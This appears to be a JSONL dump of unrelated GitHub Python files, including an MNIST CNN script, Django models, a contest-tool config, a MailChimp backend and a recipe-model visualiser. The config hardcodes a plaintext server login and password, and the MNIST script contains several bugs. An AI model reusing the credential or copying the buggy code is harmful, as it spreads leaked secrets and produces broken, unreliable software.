transform=transforms.ToTensor(), download=True)\nmnist_test = dset.MNIST(root='MNIST_data/', train=False, transform=transforms.ToTensor(), download=True)\n\n\ndata_loader = torch.utils.data.DataLoader(dataset=mnist_train, batch_size=batch_size, shuffle=True)\nkeep_prob=0.7\nclass CNN(torch.nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self._build_net()\n \n def _build_net(self):\n # L1 ImgIn shape=(?, 28, 28, 1)\n # Conv -> (?, 28, 28, 32)\n # Pool -> (?, 14, 14, 32)\n # nn.Conv2d(input_channel수, output_channel수, kernel_size=filter크기)\n self.layer1 = nn.Sequential(nn.Conv2d(1, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n torch.nn.Dropout(p=1-keep_prob))\n # L2 ImgIn shape=(?, 14, 14, 32)\n # Conv ->(?, 14, 14, 64)\n # Pool ->(?, 7, 7, 64)\n self.layer2 = nn.Sequential(nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Dropout(p=1-keep_prob))\n # L3 ImgIn shape=(?, 7, 7, 64)\n # Conv ->(?, 7, 7, 128)\n # Pool ->(?, 4, 4, 128)\n self.layer3 = nn.Sequential(nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Dropout(p=1-keep_prob))\n \n self.fc1 = nn.Linear(4*4*128, 625, bias=True)\n nn.init.xavier_uniform(self.fc.weight)\n self.layer4 = nn.Sequential(self.fc1,\n nn.ReLU(),\n nn.Dropout(p=1-keep_prob))\n self.fc2 = nn.Linear(625, 10, bias=True)\n nn.init.xavier_uniform(self.fc2.weight)\n \n self.criterion = torch.nn.CrossEntropyLoss() # Softmax is internally computed.\n self.optimizer = torch.optim.Adam(self.parameters(), lr=learning_rate)\n \n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = self.layer3(out)\n out = out.view(out.size(0),-1) #fc층을 위해 평평하게 만들어준다. 일자로 길게 쭉\n out = self.layer4(out)\n out = self.fc2(out)\n \n return out\n \n def predict(self, x):\n self.eval() # 평가 모드\n return self.forward(x)\n \n def get_accuracy(self, x, y):\n prediction = self.predict(x)\n correct_prediction = (torch.max(prediction.data, 1)[1]==y.data)\n self.accuracy = correct_prediction.float().mean()\n return self.accuracy\n \n def train_model(self, x, y):\n self.train() # 훈련 모드\n self.optimizer.zero_grad()\n self.hypothesis = self.forward(x)\n self.cost =self.criterion(self.hypothesis, Y)\n self.cost.backward()\n self.optimizer.step()\n \n return cost\n \nmodel = CNN()\n\ncriterion = torch.nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n\nfor epoch in range(training_epochs):\n avg_cost = 0\n total_batch = len(mnist_train)//batch_size\n for i, (batch_xs, batch_ys) in enumerate(data_loader):\n X = Variable(batch_xs)\n Y = Variable(batch_ys)\n \n cost = model.train_model(X,Y)\n \n avg_cost += cost/total_batch\n print('Epoch:', '%04d' % (epoch + 1), 'cost =', '{:.9f}'.format(avg_cost))\n \nmodel.eval() # 모델 평가 모드는 dropout이 false가 된다.\n \nX_test = Variable(mnist_test.data.view(len(mnist_test), 1, 28, 28, 1, 28,28)).float()\nY_test = Variable(mnist_test.targets)\n\nprint(model.get_accuracy(X_test,Y_test))","repo_name":"changhyeonlee-0703/ML-DL-lab-tensorflow","sub_path":"Lab11/Mnist_conn_pytorch.py","file_name":"Mnist_conn_pytorch.py","file_ext":"py","file_size_in_byte":4261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32863711905","text":"from django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\nfrom users.models import User\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=256)\n slug = models.SlugField(unique=True)\n\n class Meta:\n verbose_name = 'Категория',\n verbose_name_plural = 'Категории'\n\n def __str__(self):\n return self.name\n\n\nclass Genre(models.Model):\n name = models.CharField(max_length=256)\n slug = models.SlugField(unique=True)\n\n class Meta:\n verbose_name = 'Жанр',\n verbose_name_plural = 'Жанры'\n\n def __str__(self):\n return self.name\n\n\nclass Title(models.Model):\n name = models.CharField(max_length=256)\n year = models.IntegerField(db_index=True)\n rating = models.IntegerField(null=True, default=None)\n description = models.TextField(null=True)\n genre = models.ManyToManyField(Genre,\n through='GenreTitle',\n related_name='titles',\n db_index=True)\n category = models.ForeignKey(Category,\n on_delete=models.SET_NULL,\n null=True,\n blank=True,\n db_index=True)\n\n class Meta:\n verbose_name = 'Произведение',\n verbose_name_plural = 'Произведения'\n\n def __str__(self):\n return self.name\n\n\nclass GenreTitle(models.Model):\n genre = models.ForeignKey(\n Genre,\n on_delete=models.CASCADE,\n blank=True,\n null=True\n )\n title = models.ForeignKey(\n Title,\n on_delete=models.CASCADE,\n blank=True,\n null=True\n )\n\n def __str__(self):\n return f'{self.genre} {self.title}'\n\n\nclass Review(models.Model):\n title = models.ForeignKey(\n 'Title',\n on_delete=models.CASCADE,\n related_name='reviews',\n verbose_name='Произведение',\n null=True\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='reviews',\n verbose_name='Автор'\n )\n text = models.TextField(\n verbose_name='Отзыв'\n )\n score = models.PositiveSmallIntegerField(\n verbose_name='Рейтинг',\n validators=[\n MinValueValidator(1, 'Минимальное значение 1'),\n MaxValueValidator(10, 'Максимальное значение 10')\n ]\n )\n pub_date = models.DateTimeField(\n verbose_name='Дата создания',\n auto_now_add=True\n )\n\n class Meta:\n ordering = ('pub_date', )\n verbose_name = 'Комментарий к произведению',\n verbose_name_plural = 'Комментарии к произведениям'\n constraints = [\n models.UniqueConstraint(\n fields=['title', 'author'],\n name='unique_review'\n ),\n ]\n\n def __str__(self):\n return self.text[:20]\n\n\nclass Comment(models.Model):\n review = models.ForeignKey(\n 'Review',\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Отзыв',\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Автор',\n )\n text = models.TextField(\n verbose_name='Комментарий',\n )\n pub_date = models.DateTimeField(\n verbose_name='Дата создания',\n auto_now_add=True\n )\n\n class Meta:\n ordering = ('pub_date',)\n verbose_name = 'Комментарий к отзыву',\n verbose_name_plural = 'Комментарии к отзыву'\n","repo_name":"gleb60/api_yamdb","sub_path":"api_yamdb/reviews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14431124433","text":"import os\nimport time\nfrom .invoker.invoker import ExecutionLimits\nfrom logging import INFO, DEBUG\nplease_version = 0.3\nroot = os.path.split(__file__)[0]\n\nDEBUG_MODE = False\n\ndefault_limits = ExecutionLimits(20, 3512)\nstress_up = 1000000\n# templates\ndefault_template_dir = \"templates\"\ndefault_template_contest = \"contest.tex\"\ndefault_template_statement = \"statement.tex\"\ndefault_template_analysis = \"analysis.tex\"\ndefault_package = \"default.package\"\ndefault_tests_config = \"tests.please\"\nuser_template_dir = \"\"\n\ndefault_programming_language = \"cpp\"\ndefault_human_language = \"ru\"\n\nexport_scripts = {\n 'ejudge' : {\n 'scripts' : [os.path.join('exporter','scripts',filename) for filename in ['ejudge.py', 'ejudge_formatter.py', 'backupper.py']],\n 'run' : 'ejudge.py'\n },\n 'pcms2': {\n 'problem_template' : os.path.join('exporter','templates','pcms2_template.xml')\n }\n}\n\n\n# config for folders in problem\nstatements_dir = \"statements\"\nsolutions_dir = \"solutions\"\ntests_dir = \"tests\"\n\n# temporary folders\ntemp_statements_dir = \".statements\"\ntemp_tests_dir = \".tests\"\n\n# logging conts\nstandart_logging_lvl = INFO\ndetailed_logging_lvl = DEBUG\nconsole_logging_lvl = INFO\n\ncheckers_dir = \"checkers\"\nlogs = [\"detailed.log\", \"please.log\"]\n\ndefault_expected = ['OK']\ndefault_possible = []\n\n# checker return codes -> verdicts\nchecker_return_codes = {0:\"OK\", 1:\"WA\", 2:\"PE\"}\n\n#temporary solution output file\ntemp_solution_out_file = \".out\"\n\n#information about polygon\npolygon_url = 'http://codecenter.sgu.ru/polygon/'\naccess = {'login': 'gurovic', \"password\": \"lenochka\"}\n\n#exports = {\n# 'lksh': export.Ejudge('ssh://ejudge@ejudge.lksh.ru'),\n# 'spbsu': export.Testsys('/mnt/server/D/problems/'),\n#}\n\n# Default latex template vars: used for generating one problem\ndefault_template_vars = {\n \"name\": \"Problem\",\n \"location\": \"\",\n \"date\": time.strftime(\"%d.%m.%Y\")\n}\n\n# contest information\ncontest_template = '{}.contest'\n","repo_name":"parallel-p/please","sub_path":"please/globalconfig.py","file_name":"globalconfig.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"12044704383","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\n\nimport logging\n\nfrom django.template.loader import render_to_string\nfrom django.utils.translation import ugettext as _\nfrom django.utils.functional import cached_property\nfrom django.core.exceptions import ImproperlyConfigured\n\nfrom .campaign import CampaignBackend\nfrom ..settings import (MAILCHIMP_API_KEY, PRE_PROCESSORS,\n DEFAULT_FROM_EMAIL, DEFAULT_FROM_NAME)\nfrom ..utils import load_class\n\nfrom mailchimp import Mailchimp\n\nlogger = logging.getLogger('courriers')\n\n\nclass MailchimpBackend(CampaignBackend):\n mailchimp_class = Mailchimp\n\n def __init__(self):\n if not MAILCHIMP_API_KEY:\n raise ImproperlyConfigured(_('Please specify your MAILCHIMP API key in Django settings'))\n self.mc = self.mailchimp_class(MAILCHIMP_API_KEY, True)\n\n @cached_property\n def list_ids(self):\n return dict((l['name'], l['id']) for l in self.mc.lists.list()['data'])\n\n def _subscribe(self, list_id, email):\n self.mc.lists.subscribe(list_id, {'email': email}, merge_vars=None,\n email_type='html', double_optin=False, update_existing=False,\n replace_interests=True, send_welcome=False)\n\n def _unsubscribe(self, list_id, email):\n self.mc.lists.unsubscribe(list_id, {'email': email}, delete_member=False,\n send_goodbye=False, send_notify=False)\n\n def _send_campaign(self, newsletter, list_id):\n options = {\n 'list_id': list_id,\n 'subject': newsletter.name,\n 'from_email': DEFAULT_FROM_EMAIL,\n 'from_name': DEFAULT_FROM_NAME\n }\n\n html = render_to_string('courriers/newsletter_raw_detail.html', {\n 'object': newsletter,\n 'items': newsletter.items.select_related('newsletter'),\n 'options': options\n })\n\n for pre_processor in PRE_PROCESSORS:\n html = load_class(pre_processor)(html)\n\n content = {\n 'html': html\n }\n\n campaign = self.mc.campaigns.create('regular', options, content, segment_opts=None, type_opts=None)\n\n self.mc.campaigns.send(campaign['id'])\n\n def _format_slug(self, *args):\n return u'_'.join([u'%s' % arg for arg in args])\n","repo_name":"karthikbadam/django-courriers","sub_path":"courriers/backends/mailchimp.py","file_name":"mailchimp.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"31721553883","text":"# leetcode: https://leetcode.com/problems/rotate-image/\r\n#You are given an n x n 2D matrix representing an image.\r\n#\r\n#Rotate the image by 90 degrees (clockwise).\r\n#\r\n#Follow up:\r\n#Could you do this in-place?\r\nclass Solution:\r\n # @param matrix, a list of lists of integers\r\n # @return a list of lists of integers\r\n def rotate(self, matrix):\r\n size=len(matrix[0])\r\n tmp=0\r\n for i in range(0,size):\r\n for j in range(0,size-i):\r\n tmp=matrix[i][j]\r\n matrix[i][j]= matrix[size-1-j][size-1-i]\r\n matrix[size-1-j][size-1-i]=tmp\r\n for i in range(0,size/2):\r\n for j in range(0,size):\r\n tmp=matrix[i][j]\r\n matrix[i][j]=matrix[size-1-i][j]\r\n matrix[size-1-i][j]=tmp\r\n return matrix","repo_name":"qixiaohui/MyLeetcode","sub_path":"RotateImage.py","file_name":"RotateImage.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72975946322","text":"import random as rnd\nimport operator\nimport matplotlib.pyplot as plt # import matplotlib\nimport numpy as np # import numpy\nimport time\nimport copy\nimport os\nimport json\n\nclass SpotMarketEnvironment(object):\n \"\"\" A class that makes a market environment consisting of buyers who make\n up the demand curve and sellers who make up the supply curve. This\n class will also calculate market equilibria and plot the supply and\n demand curves and as an option contract prices.\"\"\"\n\n def __init__(self, name=\"example\", num_buyers=2, num_sellers=3):\n \"\"\" name (str) = the name of the market\n num_Buyers (int) = the number of buyers in the market\n num_sellers(int) = the number of sellers in the market\n Builds buyers and sellers dictioanry entries\n \"\"\"\n self.name = name\n self.num_buyers = num_buyers\n self.num_sellers = num_sellers\n self.demand = []\n self.supply = []\n self.buyers = {}\n self.sellers = {}\n\n # equilibrium calculations made in calc_equilibrium\n self.eq_price_low = None\n self.eq_price_high = None\n self.eq_units = None\n self.eq_max_surplus = None\n\n for buyer_number in range(self.num_buyers):\n buyer_id = \"buyer\" + str(buyer_number)\n self.buyers[buyer_id] = [] # Empty list of values for buyer_id\n\n for seller_number in range(self.num_sellers):\n seller_id = \"seller\" + str(seller_number)\n self.sellers[seller_id] = [] # Empty list of costs for seller_id\n\n def show_market(self):\n \"\"\"Prints market name, number of buyers and number of sellers\n \"\"\"\n print(f\"I am market {self.name} with {self.num_buyers} buyers and \" \\\n f\"{self.num_sellers} sellers\")\n print(\"\")\n\n def show_participants(self):\n \"\"\"Prints buyers and sellers info\n \"\"\"\n print(\"Market Participants\")\n print(\"-------------------\")\n print(\"BUYERS\")\n print(\"------\")\n for buyer_number in range(self.num_buyers):\n buyer_id = \"buyer\" + str(buyer_number)\n print(f\"{buyer_id} has values {self.buyers[buyer_id]}\")\n print()\n print(\"SELLERS\")\n print(\"-------\")\n for seller_number in range(self.num_sellers):\n seller_id = \"seller\" + str(seller_number)\n print(f\"{seller_id} has costs {self.sellers[seller_id]}\")\n print(\"\")\n\n def add_buyer(self, buyer_number, values):\n \"\"\"Adds a list of buyer_number's values to the self.buyers dictionary\n \"\"\"\n buyer_id = \"buyer\" + str(buyer_number)\n self.buyers[buyer_id] = values\n\n def get_buyer_values(self, buyer_number):\n \"\"\"Returns buyer_number's values\n \"\"\"\n buyer_id = \"buyer\" + str(buyer_number)\n return self.buyers[buyer_id]\n\n def get_buyers(self):\n return self.buyers\n\n def add_seller(self, seller_number, costs):\n \"\"\"Adds a list of seller_number's costs to the self.seller dictionary\n \"\"\"\n seller_id = \"seller\" + str(seller_number)\n self.sellers[seller_id] = costs\n\n def get_seller_costs(self, seller_number):\n \"\"\"Returns seller_number_s costs\n \"\"\"\n seller_id = \"seller\" + str(seller_number)\n return self.sellers[seller_id]\n\n def get_sellers(self):\n return self.sellers\n\n def make_demand(self):\n \"\"\" Makes demand list by adding participant values to the demand list\n and sorting the list from high to low.\n \"\"\"\n self.demand = []\n for buyer_id in self.buyers.keys():\n for value in self.buyers[buyer_id]:\n self.demand.append((buyer_id, value))\n self.demand = sorted(self.demand, key=operator.itemgetter(1), \\\n reverse=True)\n\n def make_supply(self):\n \"\"\" Makes supply list by adding participant costs to the supply list\n and sorting the list from low to high.\n \"\"\"\n self.supply = []\n for seller_id in self.sellers.keys():\n for cost in self.sellers[seller_id]:\n self.supply.append((seller_id, cost))\n self.supply = sorted(self.supply, key=operator.itemgetter(1), \\\n reverse=False)\n\n def show_supply_demand(self):\n \"\"\"Prints supply and demand in a table where each row represnts a\n price from high to low.\n \"\"\"\n supply_and_demand = self.supply + self.demand\n supply_and_demand = sorted(supply_and_demand, key=operator.itemgetter(1), reverse=True)\n print(\"Unit ID Cost | Value ID\")\n print(\"---------------------------------------------------------\")\n for index, unit in enumerate(supply_and_demand):\n if unit[0][0] == \"b\":\n print(f\"{index + 1:3}{' ' * 20}| {unit[1]:5} {unit[0]}\")\n if unit[0][0] == \"s\":\n print(f\"{index + 1:3}{' ' * 2}{unit[0]} {unit[1]:5} |\")\n print(\"\")\n\n def calc_equilibrium(self):\n \"\"\" Calculate Competitive Equilbrium information:\n eq_price_high\n eq_price_low\n eq_units\n max_surplus\n \"\"\"\n\n self.max_surplus = 0\n self.eq_units = 0\n last_accepted_value = 0\n last_accepted_cost = 0\n first_rejected_value = 0\n first_rejected_cost = 999999999 # big number > max cost ever\n\n for buy_unit, sell_unit in zip(self.demand, self.supply):\n buyid, value = buy_unit\n sellid, cost = sell_unit\n if value >= cost:\n self.eq_units += 1\n self.max_surplus += value - cost\n last_accepted_value = value\n last_accepted_cost = cost\n else:\n first_rejected_value = value\n first_rejected_cost = cost\n break\n # Now caluclate equilibrium price range\n if self.eq_units > 1:\n self.eq_price_high = min(last_accepted_value, first_rejected_cost)\n self.eq_price_low = max(last_accepted_cost, first_rejected_value)\n else:\n print(\"No Equilibrium\")\n\n def show_equilibrium(self):\n # Print out market equilibrium numbers\n print()\n print(\"When market {} is in equilibrium we have:\".format(self.name))\n print(\"equilibrium price = {} - {}\".format(self.eq_price_low, self.eq_price_high))\n print(\"equilibrium quantity = {}\".format(self.eq_units))\n print(\"maximum surplus = {}\".format(self.max_surplus))\n print()\n\n def get_equilibrium(self):\n return self.eq_units, self.eq_price_low, self.eq_price_high, self.max_surplus\n\n def plot_supply_demand(self, prices=[]):\n\n \"\"\"\n First define supply and demand curves\n \"\"\"\n # make x-axis arrays for demand_units and supply_units\n dunits = [units for units in range(len(self.demand) + 2)]\n sunits = [units for units in range(len(self.supply) + 1)]\n munits = max(len(dunits), len(sunits))\n\n # make demand values\n max_value = 0\n for buyerid, value in self.demand:\n if value > max_value: # find the maximum demand value\n max_value = value\n demand_values = [max_value + 1] # first element is upper range in graph\n\n for buyerid, value in self.demand: # get demand tuples\n demand_values.append(value) # and pull out second element to get value\n demand_values.append(0) # pull graph down to x axes\n\n # make suppl values the same way\n supply_costs = [0] # note first elemnt is used to create lower range of supply values\n for sellerid, cost in self.supply: # get supply tupples\n supply_costs.append(cost) # and pull out second element to get cost\n\n \"\"\"\n Set up plot\n \"\"\"\n plt.figure(figsize=(10, 7.5)) # Set plot dimensions\n ax = plt.subplot(111)\n ax.spines[\"top\"].set_visible(False)\n ax.spines[\"bottom\"].set_visible(True)\n ax.spines[\"right\"].set_visible(False)\n ax.spines[\"left\"].set_visible(True)\n ax.get_xaxis().tick_bottom()\n ax.get_yaxis().tick_left()\n plt.yticks(fontsize=14)\n plt.xticks(fontsize=14)\n\n \"\"\"\n Made a bunch of small changes here\n \"\"\"\n plt.step(dunits, demand_values, label='Demand')\n plt.step(sunits, supply_costs, label='Supply')\n\n if len(prices) > 0:\n prices.insert(0, prices[0]) # needed to get line segment for the first price\n punits = [unit for unit in range(len(prices))]\n plt.step(punits, prices, label='Prices')\n\n ax = plt.gca()\n plt.legend(loc='upper center', frameon=False)\n plt.title('Supply and Demand')\n plt.xlabel('units')\n plt.ylabel('currrency')\n\n # Save figure in the working directory\n #plt.savefig(self.name+'supply_demand.jpg')\n\n plt.xlim(0, munits)\n plt.ylim(0, max(demand_values + supply_costs))\n plt.show()\n","repo_name":"Kmccabe/dm_markets","sub_path":"modules/dm_env.py","file_name":"dm_env.py","file_ext":"py","file_size_in_byte":9178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8673862609","text":"import copy\nimport math\nimport os\nimport pickle\nfrom dataclasses import dataclass\nfrom typing import Any, Dict, Optional, Union, Tuple, List\n\nimport torch\n\nfrom inv_cooking.datasets.recipe1m import Recipe1MDataModule\nfrom inv_cooking.datasets.vocabulary import Vocabulary\nfrom inv_cooking.training.image_to_recipe import ImageToRecipe\nfrom inv_cooking.utils.metrics.gpt2_perplexity import PretrainedLanguageModel\nfrom inv_cooking.utils.metrics.ingredient_iou import IngredientIoU\nfrom inv_cooking.utils.visualisation.recipe_utils import (\n format_recipe,\n ingredients_to_text,\n recipe_to_text,\n tensor_to_image,\n)\n\n\n@dataclass\nclass VisualOutput:\n ingr_vocab: Vocabulary\n instr_vocab: Vocabulary\n gt_image: torch.Tensor\n gt_ingredients: torch.Tensor\n gt_subs_ingredients: torch.Tensor\n gt_recipe: torch.Tensor\n pred_ingredients: torch.Tensor\n pred_recipe: torch.Tensor\n pred_recipe_loss: torch.Tensor\n pred_recipe_from_gt: torch.Tensor\n pred_recipe_from_gt_loss: torch.Tensor\n pred_recipe_from_subs: torch.Tensor\n pred_recipe_from_subs_loss: torch.Tensor\n\n def __len__(self):\n return self.gt_image.size(0)\n\n def export(self, i: int, full_display: bool = False):\n \"\"\"\n Export the output for the GISMo module inputs\n \"\"\"\n if not full_display:\n self.display_image(self.gt_image[i])\n print(\"GT_INGREDIENTS:\\n\", sorted(ingredients_to_text(self.gt_ingredients[i], self.ingr_vocab)))\n print(\"PRED_INGREDIENTS:\\n\", sorted(ingredients_to_text(self.pred_ingredients[i], self.ingr_vocab)))\n else:\n self.show(i)\n\n field = {\n # \"gt_ingredients\": ingredients_to_text(self.gt_ingredients[i], self.ingr_vocab, full_list=True),\n \"ingredients\": ingredients_to_text(self.pred_ingredients[i], self.ingr_vocab, full_list=True),\n }\n return field\n\n def show(self, i: int, language_model: Optional[PretrainedLanguageModel] = None):\n \"\"\"\n Display the predictions of ingredients, recipes, all alongside the image\n \"\"\"\n iou = IngredientIoU(\n ingr_vocab=self.ingr_vocab,\n instr_vocab=self.instr_vocab,\n )\n\n self.display_image(self.gt_image[i])\n\n print(\"\\nGT INGREDIENTS:\")\n self.display_ingredients(self.gt_ingredients[i], self.ingr_vocab)\n\n print(\"\\nSUBS INGREDIENTS:\")\n self.display_ingredients(self.gt_subs_ingredients[i], self.ingr_vocab)\n\n print(\"\\nPRED INGREDIENTS:\")\n self.display_ingredients(self.pred_ingredients[i], self.ingr_vocab)\n\n self.display_recipe(\n prefix=\"GT RECIPE\",\n text=self.get_recipe_text(self.gt_recipe[i], self.instr_vocab),\n language_model=language_model,\n )\n iou.visusalise_iou(self.gt_ingredients[i], self.gt_recipe[i])\n\n self.display_recipe(\n prefix=f\"RECIPE {self.perplexity(self.pred_recipe_loss[i])}\",\n text=self.get_recipe_text(self.pred_recipe[i], self.instr_vocab),\n language_model=language_model,\n )\n\n self.display_recipe(\n prefix=f\"RECIPE from GT {self.perplexity(self.pred_recipe_from_gt_loss[i])}\",\n text=self.get_recipe_text(self.pred_recipe_from_gt[i], self.instr_vocab),\n language_model=language_model,\n )\n iou.visusalise_iou(self.gt_ingredients[i], self.pred_recipe_from_gt[i])\n\n self.display_recipe(\n prefix=f\"RECIPE from SUBS {self.perplexity(self.pred_recipe_from_subs_loss[i])}\",\n text=self.get_recipe_text(self.pred_recipe_from_subs[i], self.instr_vocab),\n language_model=language_model,\n )\n iou.visusalise_iou(self.gt_subs_ingredients[i], self.pred_recipe_from_subs[i])\n\n @classmethod\n def perplexity(cls, loss: torch.Tensor):\n return f\"(perplexity: {torch.exp(loss).item():.2f})\"\n\n @classmethod\n def display_image(cls, image_tensor: torch.Tensor):\n import matplotlib.pyplot as plt\n\n if image_tensor.ndim == 3:\n image = tensor_to_image(image_tensor)\n plt.imshow(image)\n plt.axis(\"off\")\n elif image_tensor.ndim == 4:\n num_images = image_tensor.size(0)\n images = [tensor_to_image(t) for t in image_tensor]\n\n num_columns = 2\n num_rows = int(math.ceil(num_images / num_columns))\n fig, ax = plt.subplots(\n figsize=(4 * num_columns, 4 * num_rows),\n ncols=num_columns,\n nrows=num_rows,\n )\n for i in range(num_images):\n x, y = divmod(i, num_columns)\n ax[x, y].imshow(images[i])\n plt.show()\n\n @classmethod\n def display_ingredients(cls, prediction: torch.Tensor, vocab: Vocabulary):\n ingredient_list = cls.get_ingredients_text(prediction, vocab)\n print(ingredient_list)\n\n @staticmethod\n def get_ingredients_text(prediction: torch.Tensor, vocab: Vocabulary):\n return ingredients_to_text(prediction, vocab)\n\n @classmethod\n def get_recipe_text(cls, prediction: torch.Tensor, vocab: Vocabulary):\n text = recipe_to_text(prediction, vocab)\n text = format_recipe(text)\n return text\n\n @classmethod\n def display_recipe(\n cls, prefix: str, text: str, language_model: Optional[PretrainedLanguageModel]\n ):\n if language_model is not None:\n lm_ppl = language_model.measure_perplexity(text)\n print(f\"\\n{prefix} (perplexity GPT: {lm_ppl:.2f}):\")\n else:\n print(f\"\\n{prefix}:\")\n for line in text.splitlines():\n print(line)\n\n\nclass Im2RecipeVisualiser:\n \"\"\"\n Utils to visualise the recipes generated by im2recipe\n \"\"\"\n\n def __init__(\n self, model: ImageToRecipe, data_module: Recipe1MDataModule,\n ):\n self.model = model\n self.data_module = data_module\n self.model.eval()\n\n @torch.no_grad()\n def visualise_impact_of_substitutions(self, batch: Optional[dict] = None):\n if batch is None:\n batch = self.sample_input()\n else:\n batch = copy.copy(batch)\n\n model_device = next(self.model.parameters()).device\n losses_full, (ingr_pred, recipe_full) = self.model(\n image=batch[\"image\"].to(model_device),\n ingredients=batch[\"ingredients\"].to(model_device),\n recipe=batch[\"recipe\"].to(model_device),\n use_ingr_pred=True,\n compute_losses=True,\n compute_predictions=True,\n )\n losses_gt, (_, recipe_from_gt) = self.model(\n image=batch[\"image\"].to(model_device),\n ingredients=batch[\"ingredients\"].to(model_device),\n recipe=batch[\"recipe\"].to(model_device),\n use_ingr_pred=False,\n compute_losses=True,\n compute_predictions=True,\n )\n losses_gt_subs, (_, recipe_from_gt_subs) = self.model(\n image=batch[\"image\"].to(model_device),\n ingredients=batch[\"substitution\"].to(model_device),\n recipe=batch[\"recipe\"].to(model_device),\n use_ingr_pred=False,\n compute_losses=True,\n compute_predictions=True,\n )\n\n return VisualOutput(\n ingr_vocab=self.data_module.dataset_test.ingr_vocab,\n instr_vocab=self.data_module.dataset_test.get_instr_vocab(),\n gt_image=batch[\"image\"],\n gt_ingredients=batch[\"ingredients\"],\n gt_subs_ingredients=batch[\"substitution\"],\n gt_recipe=batch[\"recipe\"],\n pred_ingredients=ingr_pred.cpu(),\n pred_recipe=recipe_full.cpu(),\n pred_recipe_loss=losses_full[\"recipe_loss\"].cpu(),\n pred_recipe_from_gt=recipe_from_gt.cpu(),\n pred_recipe_from_gt_loss=losses_gt[\"recipe_loss\"].cpu(),\n pred_recipe_from_subs=recipe_from_gt_subs.cpu(),\n pred_recipe_from_subs_loss=losses_gt_subs[\"recipe_loss\"].cpu(),\n )\n\n def sample_input(self, batch_size: int = 0, skip: int = 0):\n \"\"\"\n Sample a batch input from the data loader\n \"\"\"\n loader = self.data_module.test_dataloader(batch_size=batch_size)\n iterator = iter(loader)\n for _ in range(skip):\n next(iterator)\n return next(iterator)\n\n def sample_output(\n self,\n batch: Optional[dict] = None,\n with_substitutions: bool = False,\n swap_images: bool = False,\n gray_images: bool = False,\n ):\n \"\"\"\n Sample an output, using the batch as input to generate the outputs\n or generating a new sample input if not provided\n \"\"\"\n if batch is None:\n batch = self.sample_input()\n else:\n batch = copy.copy(batch)\n\n # Investigation of the importance of images:\n # - roll images (each input gets the image of the next input)\n # - replace images by gray images\n if swap_images:\n batch[\"image\"] = batch[\"image\"].roll(shifts=[1], dims=[0])\n elif gray_images:\n images = batch[\"image\"]\n batch[\"image\"] = torch.zeros(\n size=images.shape, dtype=images.dtype, device=images.device\n )\n else:\n batch[\"image\"] = batch[\"image\"]\n\n self.model.eval()\n ingredients = (\n batch[\"ingredients\"] if not with_substitutions else batch[\"substitution\"]\n )\n with torch.no_grad():\n losses, (ingr_predictions, recipe_predictions) = self.model(\n image=batch[\"image\"],\n ingredients=ingredients,\n recipe=batch[\"recipe\"],\n use_ingr_pred=False,\n compute_losses=True,\n compute_predictions=True,\n )\n return batch, losses, ingr_predictions, recipe_predictions\n\n def display_sample(\n self,\n batch: Dict[str, Any],\n losses: Dict[str, Any],\n ingr_predictions: torch.Tensor,\n recipe_predictions: torch.Tensor,\n start: int = 0,\n limit: int = -1,\n ):\n \"\"\"\n Display the outputs of the model in terms of text\n \"\"\"\n\n num_recipes = recipe_predictions.shape[0]\n ingr_vocab = self.data_module.dataset_test.ingr_vocab\n instr_vocab = self.data_module.dataset_test.get_instr_vocab()\n\n if limit < 0:\n limit = num_recipes\n else:\n limit = min(limit, num_recipes)\n\n for i in range(start, start + limit):\n\n self.display_image(batch[\"image\"][i])\n\n print(\"INGREDIENTS (GT):\")\n self.display_ingredients(batch[\"ingredients\"][i], ingr_vocab)\n\n print(\"INGREDIENTS (SUBS):\")\n self.display_ingredients(batch[\"substitution\"][i], ingr_vocab)\n\n print(\"RECIPE (GT):\")\n self.display_recipe(batch[\"recipe\"][i], instr_vocab)\n\n if ingr_predictions is not None:\n print(\"INGREDIENTS (PRED):\")\n self.display_ingredients(ingr_predictions[i], ingr_vocab)\n\n print(\"RECIPE (PRED):\")\n self.display_recipe(recipe_predictions[i], instr_vocab)\n\n @classmethod\n def display_image(cls, image_tensor: torch.Tensor):\n import matplotlib.pyplot as plt\n\n if image_tensor.ndim == 3:\n image = tensor_to_image(image_tensor)\n plt.imshow(image)\n plt.axis(\"off\")\n elif image_tensor.ndim == 4:\n num_images = image_tensor.size(0)\n images = [tensor_to_image(t) for t in image_tensor]\n\n num_columns = 2\n num_rows = int(math.ceil(num_images / num_columns))\n fig, ax = plt.subplots(\n figsize=(4 * num_columns, 4 * num_rows),\n ncols=num_columns,\n nrows=num_rows,\n )\n for i in range(num_images):\n x, y = divmod(i, num_columns)\n ax[x, y].imshow(images[i])\n plt.show()\n\n @staticmethod\n def display_ingredients(prediction: torch.Tensor, vocab: Vocabulary):\n ingredient_list = []\n for i in prediction.cpu().numpy():\n word = 